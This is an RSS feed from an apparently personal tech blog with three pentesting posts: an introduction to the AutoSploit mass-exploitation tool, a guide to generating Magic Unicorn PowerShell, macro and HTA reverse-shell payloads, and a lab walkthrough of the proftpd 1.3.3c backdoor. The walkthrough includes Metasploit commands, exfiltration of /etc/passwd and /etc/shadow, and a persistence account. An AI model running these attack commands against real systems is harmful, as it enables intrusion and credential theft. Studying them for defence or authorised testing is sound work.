<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Exploit Archives - Tech Chronicles</title>
	<atom:link href="http://kostacipo.stream/tag/exploit/feed/" rel="self" type="application/rss+xml" />
	<link>http://kostacipo.stream/tag/exploit/</link>
	<description>Ramblings of a Tech Dude</description>
	<lastBuildDate>Fri, 25 Jul 2025 20:45:14 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.8.2</generator>

<image>
	<url>https://kostacipo.stream/wp-content/uploads/2019/12/cropped-profile-32x32.jpg</url>
	<title>Exploit Archives - Tech Chronicles</title>
	<link>http://kostacipo.stream/tag/exploit/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>AutoSploit: Automated Mass Exploiter</title>
		<link>http://kostacipo.stream/autosploit-automated-mass-exploiter/</link>
					<comments>http://kostacipo.stream/autosploit-automated-mass-exploiter/#respond</comments>
		
		<dc:creator><![CDATA[Majordomo]]></dc:creator>
		<pubDate>Fri, 25 Jul 2025 20:43:36 +0000</pubDate>
				<category><![CDATA[Exploitation Tools]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[python]]></category>
		<guid isPermaLink="false">https://kostacipo.stream/?p=2219</guid>

					<description><![CDATA[<p>AutoSploit is a powerful hacking tool that has the ability to automate exploitation operations on remote hosts. This tool enables you to perform mass exploitations on the system being targeted by utilizing the services offered by Shodan, Censys, Zoomeye and Metasploit. This tool is developed using Python. Autosploit: Advanced Remote Host Mass Exploitation With this tool, [&#8230;]</p>
<p>The post <a href="http://kostacipo.stream/autosploit-automated-mass-exploiter/">AutoSploit: Automated Mass Exploiter</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p class="text-justify">AutoSploit is a powerful hacking tool that has the ability to automate exploitation operations on remote hosts. This tool enables you to perform mass exploitations on the system being targeted by utilizing the services offered by <a href="https://www.shodan.io/">Shodan</a>, <a href="https://censys.io/">Censys</a>, <a href="https://www.zoomeye.org/">Zoomeye </a>and Metasploit. This tool is developed using Python.</p>
<figure class="wp-block-image size-large img-fluid text-center"><img decoding="async" class="wp-image-11728 lazyloaded" src="https://cdn.cyberpunk.rs/wp-content/uploads/2020/01/autosploit_banner_logo.jpg" sizes="(max-width: 1000px) 100vw, 1000px" srcset="https://cdn.cyberpunk.rs/wp-content/uploads/2020/01/autosploit_banner_logo.jpg 1000w, https://cdn.cyberpunk.rs/wp-content/uploads/2020/01/autosploit_banner_logo-300x54.jpg 300w, https://cdn.cyberpunk.rs/wp-content/uploads/2020/01/autosploit_banner_logo-768x138.jpg 768w, https://cdn.cyberpunk.rs/wp-content/uploads/2020/01/autosploit_banner_logo-350x63.jpg 350w, https://cdn.cyberpunk.rs/wp-content/uploads/2020/01/autosploit_banner_logo-500x90.jpg 500w" alt="AutoSploit: Automated Mass Exploiter Logo/Banner" data-srcset="https://cdn.cyberpunk.rs/wp-content/uploads/2020/01/autosploit_banner_logo.jpg 1000w, https://cdn.cyberpunk.rs/wp-content/uploads/2020/01/autosploit_banner_logo-300x54.jpg 300w, https://cdn.cyberpunk.rs/wp-content/uploads/2020/01/autosploit_banner_logo-768x138.jpg 768w, https://cdn.cyberpunk.rs/wp-content/uploads/2020/01/autosploit_banner_logo-350x63.jpg 350w, https://cdn.cyberpunk.rs/wp-content/uploads/2020/01/autosploit_banner_logo-500x90.jpg 500w" data-src="https://cdn.cyberpunk.rs/wp-content/uploads/2020/01/autosploit_banner_logo.jpg" data-sizes="(max-width: 1000px) 100vw, 1000px" /></figure>
<h2>Autosploit: Advanced Remote Host Mass Exploitation</h2>
<p class="text-justify">With this tool, you can easily launch an attack on a remote host within a fairly short time. This is made possible due to the availability of Shodan, a powerful search engine that allows you to automatically fish out targets that are connected to a particular network service. Alternatively, you can also use target seeking tools such as Zoomeye and Censys to search out intended targets.</p>
<p class="text-justify">Apart from the automated host searching and collection, AutoSploit also gives you the option of creating your own customized target list. With this option in place, you can effectively launch attack-intended searches on hosts of your choice by manually adding them to your list.</p>
<h3>Metasploit Modules and How They Work Together</h3>
<div class="alert alert-secondary">The available powerful Metasploit modules are responsible for handling the rest of the work after the targets have been collected. By default, Metasploit comes with a long list of attack modules but you can manually add other modules of your liking to make the tool more powerful. The module deployed will depend on the platform search query that was used when an attack was launched. The Metasploit modules can help a pentester to gain access to services such as Meterpreter sessions and also be able to make remote code executions and many other attacks.</div>
<div class="alert alert-secondary">The combination of Shodan and Metasploit makes it very easy to use autosploit especially since the whole process is automated. The inclusion of Metasploit makes autosploit very effective tool when it comes to launching attacks on Apache-based projects.</div>
<h3>AutoSploit Features:</h3>
<ul>
<li>Automated Target Collection</li>
<li>Customized Target List (allows you to add your own list of targets)</li>
<li>Metasploit Modules</li>
<li>Custom user-agent</li>
<li>Mass exploitations</li>
</ul>
<h3>Supported Platforms:</h3>
<ul>
<li>Linux</li>
<li>OS X (must be within virtual environments to properly function)</li>
</ul>
<h3>Dependencies:</h3>
<p>This tool relies on the below <code>Python 2.7</code> modules:</p>
<ul>
<li>requests</li>
<li>psutil</li>
</ul>
<p>The required dependencies should all be in place after performing an installation with the recommended method, but you can easily install them using <code>pip</code>:</p>
<pre class="wp-block-preformatted">$ pip install -r requirements.txt</pre>
<p>Alternatively:</p>
<pre class="wp-block-preformatted">$ pip install requests psutil</pre>
<h2>Autosploit Install</h2>
<h3>Install AutoSploit via Docker Compose:</h3>
<p>Clone the repo:</p>
<pre class="wp-block-preformatted">$ git clone https://github.com/NullArray/AutoSploit.git</pre>
<p>Navigate to the Autosploit directory and run:</p>
<pre class="wp-block-preformatted">$ cd Autosploit/Docker
$ docker-compose run --rm autosploit</pre>
<h3>Install AutoSploit on Linux (via cloning)</h3>
<p>Clone:</p>
<pre class="wp-block-preformatted">$ git clone https://github.com/NullArray/AutoSploit</pre>
<p>Navigate to the AutoSploit directory, make the install script executable and install:</p>
<pre class="wp-block-preformatted">$ cd AutoSploit
$ chmod +x install.sh
$ ./install.sh</pre>
<h2>Usage</h2>
<p>To start AutoSploit run:</p>
<pre class="wp-block-preformatted">$ python autosploit.py</pre>
<p>This will take you to the available user options that you can choose from.</p>
<pre class="wp-block-preformatted">usage: python autosploit.py -[c|z|s|a] -[q] QUERY
                            [-C] WORKSPACE LHOST LPORT [-e] [--whitewash] PATH
                            [--ruby-exec] [--msf-path] PATH [-E] EXPLOIT-FILE-PATH
                            [--rand-agent] [--proxy] PROTO://IP:PORT [-P] AGENT

optional arguments:
  -h, --help            show this help message and exit

search engines:
  possible search engines to use

  -c, --censys          use censys.io as the search engine to gather hosts
  -z, --zoomeye         use zoomeye.org as the search engine to gather hosts
  -s, --shodan          use shodan.io as the search engine to gather hosts
  -a, --all             search all available search engines to gather hosts

requests:
  arguments to edit your requests

  --proxy PROTO://IP:PORT
                        run behind a proxy while performing the searches
  --random-agent        use a random HTTP User-Agent header
  -P USER-AGENT, --personal-agent USER-AGENT
                        pass a personal User-Agent to use for HTTP requests
  -q QUERY, --query QUERY
                        pass your search query

exploits:
  arguments to edit your exploits

  -E PATH, --exploit-file PATH
                        provide a text file to convert into JSON and save for
                        later use
  -C WORKSPACE LHOST LPORT, --config WORKSPACE LHOST LPORT
                        set the configuration for MSF (IE -C default 127.0.0.1
                        8080)
  -e, --exploit         start exploiting the already gathered hosts

misc arguments:
  arguments that don't fit anywhere else

  --ruby-exec           if you need to run the Ruby executable with MSF use
                        this
  --msf-path MSF-PATH   pass the path to your framework if it is not in your
                        ENV PATH
  --whitelist PATH      only exploit hosts listed in the whitelist file</pre>
<div class="row justify-content-center mb-3">
<div class="col-lg-4"><a href="https://github.com/NullArray/AutoSploit/wiki">Documentation</a></div>
<div><a href="https://github.com/NullArray/AutoSploit">Download</a></div>
</div>
<div class="row justify-content-center mb-3">
<div class="col-lg-4"></div>
</div>
<p>The post <a href="http://kostacipo.stream/autosploit-automated-mass-exploiter/">AutoSploit: Automated Mass Exploiter</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://kostacipo.stream/autosploit-automated-mass-exploiter/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>PowerShell Downgrade Attack – Magic Unicorn</title>
		<link>http://kostacipo.stream/powershell-downgrade-attack-magic-unicorn/</link>
					<comments>http://kostacipo.stream/powershell-downgrade-attack-magic-unicorn/#respond</comments>
		
		<dc:creator><![CDATA[Majordomo]]></dc:creator>
		<pubDate>Fri, 24 Nov 2023 00:21:44 +0000</pubDate>
				<category><![CDATA[Exploitation Tools]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[Macro Attack]]></category>
		<category><![CDATA[PowerShell Attack]]></category>
		<guid isPermaLink="false">https://kostacipo.stream/?p=2166</guid>

					<description><![CDATA[<p>Introduction Magic Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. This tool is based on Matthew Graeber’s PowerShell attacks and the PowerShell bypass technique presented by David Kennedy (TrustedSec) and Josh Kelly at Defcon 18. PowerShell Downgrade Attack: Magic Unicorn Usage is very simple. You just need [&#8230;]</p>
<p>The post <a href="http://kostacipo.stream/powershell-downgrade-attack-magic-unicorn/">PowerShell Downgrade Attack – Magic Unicorn</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="row">
<div class="col-lg-12">
<h3>Introduction</h3>
<p>Magic Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. This tool is based on Matthew Graeber’s PowerShell attacks and the PowerShell bypass technique presented by David Kennedy (<a href="https://www.trustedsec.com/" target="_blank" rel="noopener">TrustedSec</a>) and Josh Kelly at <a href="https://www.defcon.org/html/links/dc-archives/dc-18-archive.html" target="_blank" rel="noopener">Defcon 18</a>.</p>
<p><img decoding="async" class="aligncenter wp-image-1467 size-full lazyloaded" src="https://cdn.cyberpunk.rs/wp-content/uploads/2018/08/dc-18-logo-wide.jpg" sizes="(max-width: 350px) 100vw, 350px" srcset="https://cdn.cyberpunk.rs/wp-content/uploads/2018/08/dc-18-logo-wide.jpg 350w, https://cdn.cyberpunk.rs/wp-content/uploads/2018/08/dc-18-logo-wide-300x111.jpg 300w" alt="PowerShell Downgrade Attack Unicorn on Defcon18" width="350" height="129" data-srcset="https://cdn.cyberpunk.rs/wp-content/uploads/2018/08/dc-18-logo-wide.jpg 350w, https://cdn.cyberpunk.rs/wp-content/uploads/2018/08/dc-18-logo-wide-300x111.jpg 300w" data-src="https://cdn.cyberpunk.rs/wp-content/uploads/2018/08/dc-18-logo-wide.jpg" data-sizes="(max-width: 350px) 100vw, 350px" /></p>
<h2>PowerShell Downgrade Attack: Magic Unicorn</h2>
<p>Usage is very simple. You just need to make sure you’ve installed <a href="https://www.cyberpunk.rs/the-most-popular-pentesting-framework-metasploit-framework">Metasploit</a> in the right path and run the Magic Unicorn. Unicorn will automatically generate a powershell command. Copy and paste the powershell code into a command line window or through a payload delivery system:</p>
<pre>root@kali:~/Desktop# python unicorn.py</pre>
<p>Magic Unicorn Supports:</p>
<ul>
<li>Metasploit;</li>
<li>Cobalt Strike;</li>
<li>Your own shellcode;</li>
</ul>
<pre>root@kali:~/Desktop# python unicorn.py
                                                         
                                                         ,/
                                                        //
                                                      ,//
                                          ___   /|   |//
                                      `__/\_ --(/|___/-/
                                   \|\_-\___ __-_`- /-/ \.
                                  |\_-___,-\_____--/_)' ) \
                                   \ -_ /     __ \( `( __`\|
                                   `\__|      |\)\ ) /(/|
           ,._____.,            ',--//-|      \  |  '   /
          /     __. \,          / /,---|       \       /
         / /    _. \  \        `/`_/ _,'        |     |
        |  | ( (  \   |      ,/\'__/'/          |     |
        |  \  \`--, `_/_------______/           \(   )/
        | | \  \_. \,                            \___/\
        | |  \_   \  \                                 \
        \ \    \_ \   \   /                             \
         \ \  \._  \__ \_|       |                       \
          \ \___  \      \       |                        \
           \__ \__ \  \_ |       \                         |
           |  \_____ \  ____      |                        |
           | \  \__ ---' .__\     |        |               |
           \  \__ ---   /   )     |        \              /
            \   \____/ / ()(      \          `---_       /|
             \__________/(,--__    \_________.    |    ./ |
               |     \ \  `---_\--,           \   \_,./   |
               |      \  \_ ` \    /`---_______-\   \\    /
                \      \.___,`|   /              \   \\   \
                 \     |  \_ \|   \              (   |:    |
                  \    \      \    |             /  / |    ;
                   \    \      \    \          ( `_'   \  |
                    \.   \      \.   \          `__/   |  |
                      \   \       \.  \                |  |
                       \   \        \  \               (  )
                        \   |        \  |              |  |
                         |  \         \ \              I  `
                         ( __;        ( _;            ('-_';
                         |___\        \___:            \___:

aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=

                
-------------------- Magic Unicorn Attack Vector -----------------------------

Native x86 powershell injection attacks on any Windows platform.
Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave
Credits: Matthew Graeber, Justin Elze, Chris Gates

Happy Magic Unicorns.
</pre>
<p>Magic Unicorn allows native x86 powershell injection attacks on any Windows platform.</p>
<h2>Usage:</h2>
<pre>python unicorn.py payload reverse_ipaddr port</pre>
<h2>Attack Options:</h2>
<ul>
<li>PowerShell Attack Instructions</li>
<li>Macro Attack Instructions</li>
<li>HTA Attack Instructions</li>
<li>Cerutil Attack Instractions</li>
<li>Custom PSI Attack Instructions</li>
</ul>
<h3></h3>
<h3>PowerShell Attack</h3>
<p>After you run the following command it generates two files <code>powershell_attack.txt</code> and <code>unicorn.rc</code>. The text file contains all of the code needed in order to inject the PowerShell attack into memory.</p>
<pre>python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443</pre>
<p>There are plenty scenarios where you can use this attack at. Simply paste the <code>powershell_attack.txt</code> command in any command prompt window and it will give a shell back to you.</p>
<div class="alert alert-info"><strong>Note</strong>: In order to capture the attack, you’ll need to enable the listener.</div>
<p>You can use <code>.rc</code> file with Metasploit to quickly open up listener on the port you’ve specified.</p>
<h3>Macro Attack</h3>
<pre>python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443 macro</pre>
<p>Go to File-&gt;Properties-&gt;Ribbons, and select Developer. Now, you’ll have a developer tab. Create a new macro, call it Auto_Open and paste the generated code into that. This will automatically run.</p>
<div class="alert alert-info">Note: <em>When copying and pasting the excel, if there are additional spaces that are added you need to remove these after each of the powershell code sections under variable “x” or a syntax error will happen!</em></div>
<h3>HTA Attack</h3>
<pre>python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443 hta</pre>
<p>The HTA attack will automatically generate two files. <code>index.html</code> tells the browser to use <code>launcher.hta</code> which contains the malicious powershell injection code. All files will be exported to the <code>hta_access/</code> folder. Three main files:</p>
<ul>
<li><code>index.html</code></li>
<li><code>launcher.hta</code></li>
<li><code>unicorn.rc</code></li>
</ul>
<p>To lunch the listener for Metasploit, run:</p>
<pre>msfconsole -r unicorn.rc</pre>
<h3>Cerutil Attack</h3>
<pre>python unicorn.py &lt;path_to_payload/exe_encode&gt; crt</pre>
<p>The Cerutil attack allows you to take a binary file, move it into a base64 format and use certutil on the victim machine to convert it back to a binary for you. It allows you to transfer a binary to the victim machine through a fake certificate file. To get the base64 output, just place an executable in the path of unicorn and run the following:</p>
<pre>python unicorn.py &lt;exe_name&gt; crt</pre>
<p>Files will be stored in <code>decode_attack/</code> folder.</p>
<h3>Custom PSI Attack</h3>
<p>Custom PS1 Examples:</p>
<pre>python unicorn.py harmless.ps1
python unicorn.py myfile.ps1 macro
python unicorn.py muahahaha.ps1 macro 500</pre>
<p>This attack method allows you to convert any PowerShell file (.ps1) into an encoded command or macro.</p>
<h3>Other:</h3>
<ul>
<li>DDE Office COM Attack</li>
<li>Import Cobalt Strike Beacon</li>
<li>Custom Shellcode Generation Method</li>
<li>SettingContent-ms Extension Method</li>
</ul>
<p>For more details and instructions go to <a href="https://github.com/trustedsec/unicorn" target="_blank" rel="noopener">Unicorn GitHub Repository page</a>.</p>
</div>
</div>
<p>The post <a href="http://kostacipo.stream/powershell-downgrade-attack-magic-unicorn/">PowerShell Downgrade Attack – Magic Unicorn</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://kostacipo.stream/powershell-downgrade-attack-magic-unicorn/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Exploiting the proftpd Linux Server</title>
		<link>http://kostacipo.stream/exploiting-the-proftpd-linux-server/</link>
					<comments>http://kostacipo.stream/exploiting-the-proftpd-linux-server/#respond</comments>
		
		<dc:creator><![CDATA[Majordomo]]></dc:creator>
		<pubDate>Mon, 24 Jul 2023 22:21:29 +0000</pubDate>
				<category><![CDATA[Cybersecurity]]></category>
		<category><![CDATA[Hacks]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[linux]]></category>
		<guid isPermaLink="false">https://kostacipo.stream/?p=2155</guid>

					<description><![CDATA[<p>Computer systems get attacked daily. Ransomware, malware, stolen credentials, video game makers’ source code gets leaked, and money drained from users’ accounts dominate our news feeds. But how do hackers gain initial access to compromise a system? Let’s take a look at how a breach could happen. Don’t get too excited. This Behind the Scenes [&#8230;]</p>
<p>The post <a href="http://kostacipo.stream/exploiting-the-proftpd-linux-server/">Exploiting the proftpd Linux Server</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Computer systems get attacked daily. Ransomware, malware, stolen credentials, video game makers’ source code gets leaked, and money drained from users’ accounts dominate our news feeds. But how do hackers gain initial access to compromise a system? Let’s take a look at how a breach could happen.</p>
<p>Don’t get too excited. This Behind the Scenes (BTS) walkthrough is using an old, patched, well-documented vulnerability that was fixed shortly after it was discovered, but it serves as a great example showing how Linux servers are exploited if you don’t keep them patched and up-to-date.</p>
<p>We’ll go through the steps threat actors use to infiltrate a system:</p>
<ul>
<li>Reconnaissance</li>
<li>Scanning</li>
<li>Obtaining Access</li>
<li>Exfilitrating data</li>
<li>Maintaining Persistence</li>
<li>Pivoting</li>
</ul>
<h2 id="h-lab-environment">Lab Environment</h2>
<p>The local home lab provides everything we need for this walkthrough.</p>
<ul>
<li>Vulnerable Linux Machine &#8211; Ubuntu 16.04
<ul>
<li>proftpd 1.3.3c</li>
<li>Apache HTTP</li>
<li>OpenSSH</li>
</ul>
</li>
<li>Attacking Machine &#8211; Ubuntu Server 22.04
<ul>
<li>Nmap</li>
<li>Metasploit</li>
</ul>
</li>
</ul>
<p>These tools are widely used by penetration testers, network administrators, and threat actors alike. The first tool is Nmap, short for Network Mapper. For network admins, Nmap helps to find networked computers, discover open ports, available services, and detect known vulnerabilities on their network. Once a list of services is discovered, they can be exploited.</p>
<h2 id="h-scanning-with-nmap">Scanning with Nmap</h2>
<p>This is part of the reconnaissance or scanning phase where the threat actor wants to learn as much about the target system as they can. Because this is a demonstration we are not going to be quiet about our attack and will do nothing to conceal our intentions. We will use <strong>-sV</strong> option that tells us the current version of any services that are running. This is a noisy attack that should be picked up by most intrusion detection systems or SIEMs.</p>
<p><code>$ nmap -sV 10.10.10.172</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='242.6896551724138'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>The results from this command reveal a lot about our target system. Each open port is vulnerable to a potential attack. In our simulated attack, we are going to concentrate on the ftp service running the <strong>proftpd 1.3.3c</strong> software on Port 21.</p>
<table>
<tbody>
<tr>
<th>Port</th>
<th>Protocol</th>
<th>State</th>
<th>Service</th>
<th>Version</th>
</tr>
<tr>
<td><strong>21</strong></td>
<td><strong>tcp</strong></td>
<td><strong>open</strong></td>
<td><strong>ftp</strong></td>
<td><strong>proftpd 1.3.3c</strong></td>
</tr>
<tr>
<td>22</td>
<td>tcp</td>
<td>open</td>
<td>ssh</td>
<td>OpenSSH 7.2p2</td>
</tr>
<tr>
<td>80</td>
<td>tcp</td>
<td>open</td>
<td>http</td>
<td>Apache 2.4.18</td>
</tr>
</tbody>
</table>
<p>The <strong>proftpd 1.3.3c</strong> software was patched over 10 years ago but serves as a good example of how a vulnerable piece of software can be exploited. It is highly unlikely to still be running as an unpatched service.</p>
<h2 id="h-researching-vulnerabilities">Researching Vulnerabilities</h2>
<p>We could use Google to learn more about the vulnerabilities in the <strong>proftpd 1.3.3c</strong> server, or we can use the next tool in our toolbox, Metasploit, and use its built-in database to find known vulnerabilities.</p>
<p>Metasploit is an open-source penetration testing framework that helps network administrators, and security professionals discover vulnerabilities in their systems before exploitation by hackers. Complete with various tools, libraries, user interfaces, and modules, Metasploit allows a user to research, configure a payload, point it at a target, and launch an attack. Metasploit’s extensive database contains hundreds of exploits and payloads. Unfortunately, Metasploit is also widely used by threat actors.</p>
<h2 id="h-launching-metasploit">Launching Metasploit</h2>
<p>Find installation <a href="https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html?ref=hackernoon.com" target="_blank" rel="noopener noreferrer ugc">instructions for Metasploit in the documentation</a> and start the Metasploit framework as root with the following command.</p>
<p><code>$ sudo msfconsole</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='456.23336745138175'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<h2 id="h-search-the-database-for-known-exploits">Search the Database for Known Exploits</h2>
<p>Metasploit comes with an extensive database and technical details of over 180,000 vulnerabilites and 4000 exploits. These are all searchable with the <strong>search</strong> command from the Metasploit command line. We are going to use this database to find <strong>proftpd 1.3.3c</strong> vulnerabilities and known exploits.</p>
<p><code>msf6&gt; search proftpd 1.3.3c</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='171.63141993957703'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>The results of the search command reveal that there is a backdoor command execution exploit. This is what we are going to use to gain access to the Linux server.</p>
<h2 id="h-gaining-system-access">Gaining System Access</h2>
<p>Let’s begin initial access to the server by configuring our attack by typing <em><strong>use exploit/unix/ftp/proftpd_133c_backdoor</strong></em> <em>or simply the module ID number, <strong>use 0.</strong></em></p>
<p><code>msf6 &gt; use exploit/unix/ftp/proftpd_133c_backdoor</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='59.20550847457628'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>Use the <strong>show payloads</strong> command to display the payloads available for the proftpd_133c_backdoor module.</p>
<p><code>msf6 exploit(unix/ftp/proftpd_133c_backdoor) &gt; show payloads</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='293.33668341708545'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>From the available payloads for the proftpd_133c_backdoor exploit, we are interested in <strong>Option 5</strong>, the <strong>payload/cmd/unix/reverse_perl command</strong>. Set the option using the payload number or the full command as follows:</p>
<p><code>msf6 exploit(unix/ftp/proftpd_133c_backdoor) &gt; set PAYLOAD cmd/unix/reverse_perl</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='60.29962546816479'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>Now we need to make some site-specific configuration settings. The first is the IP address of the target machine. Set the remote host IP address with the RHOSTS command. This is the same IP address we used during our Nmap scan earlier and the machine that is running the proftpd_1.3.3c server.</p>
<p><code>msf6 exploit(unix/ftp/proftpd_133c_backdoor) &gt; set RHOSTS 10.10.10.172</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='47.614035087719294'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>The local IP address is the computer that we are using for this attack. In our case, the LHOST is 10.10.10.171.</p>
<p><code>msf6 exploit(unix/ftp/proftpd_133c_backdoor) &gt; set LHOST 10.10.10.171</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='752' height='55.97074468085106'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>The Metasploit configuration is complete. Run the exploit with the <strong>exploit</strong> command.</p>
<p><code>msf6 exploit(unix/ftp/proftpd_133c_backdoor) &gt; exploit</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='98.14973262032085'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>This exploit takes a few seconds to run. When you see ‘Command shell session 1 opened’ you can issue Linux commands by typing a command name. In our example, entering the <strong>whoami</strong> command displays the current user, which is root. This is a big deal! Root is the superuser account in UNIX, has administrative purposes, and typically has the highest access rights on the system.</p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='100.03174603174602'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>At this point, the system is compromised and you can do whatever you want.</p>
<h2 id="h-gaining-a-shell">Gaining a Shell</h2>
<p>To have any real fun on our compromised system we are going to want a full Linux shell. The following python command spawns a bash shell.</p>
<pre class="language-bash" tabindex="0"><code class="language-bash">python3 <span class="token parameter variable">-c</span> <span class="token string">'import pty; pty.spawn("/bin/bash")'</span>
</code></pre>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='745' height='40.75167785234899'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>Once we have a proper shell we can move through the system as root, having full access to the Linux environment. This is where the system is most vulnerable. As root we can install rootkits, malware, ransomware, and exfiltrate data.</p>
<h2 id="h-data-exfiltration">Data Exfiltration</h2>
<p>Data exfiltration is when a threat actor performs the unauthorized copying, transfer, or retrieval of data from a computer or server. As root, we have full access to the computer and can do anything we want including data exfiltration.</p>
<p>The Linux <strong>/etc/password</strong> file contains a list of system users, combined with the <strong>/etc/shadow</strong> file which contains encrypted passwords. Together these two files can be hacked to reveal username/password combinations for lateral movement through the network.</p>
<p>Again, we don’t really care about protecting our identity or our intentions (a SIEM would flag this immediately) so we are going to use <strong>scp</strong> (secure copy) to copy the password and shadow files to our remote server.</p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='89.36989498249709'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>And <strong>/etc/shadow</strong></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='778' height='99.33161953727506'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>We exfiltrated <strong>/etc/passwd</strong> and <strong>/etc/shadow</strong> to our local machine. There is no reason that we could not also exfiltrate databases, customer information, stored credit cards, or company-sensitive information out of the network to a remote location as we did with the password files.</p>
<h2 id="h-usernames-and-passwords">Usernames and Passwords</h2>
<p>Cracking the hashed passwords is beyond the scope of this walkthrough, but if you can crack the passwords, an attacker can use the same credentials to pivot to other machines across the network. <strong>John the Ripper</strong> and <strong>Hashcat</strong> are two well-known password cracking tools that can quickly reveal username/password combinations.</p>
<h2 id="h-maintaining-persistence">Maintaining Persistence</h2>
<p>Persistence in cybersecurity occurs when a threat actor discreetly maintains long-term access to systems despite disruptions such as restarts or changed credentials.  As root user, we can perform any administrative task we want, including adding users. One of the ways to maintain persistence is by adding a new user so the threat actor can gain access at a later time. Let’s add a new user.</p>
<p><code>root@vtsec:/# adduser badguy</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
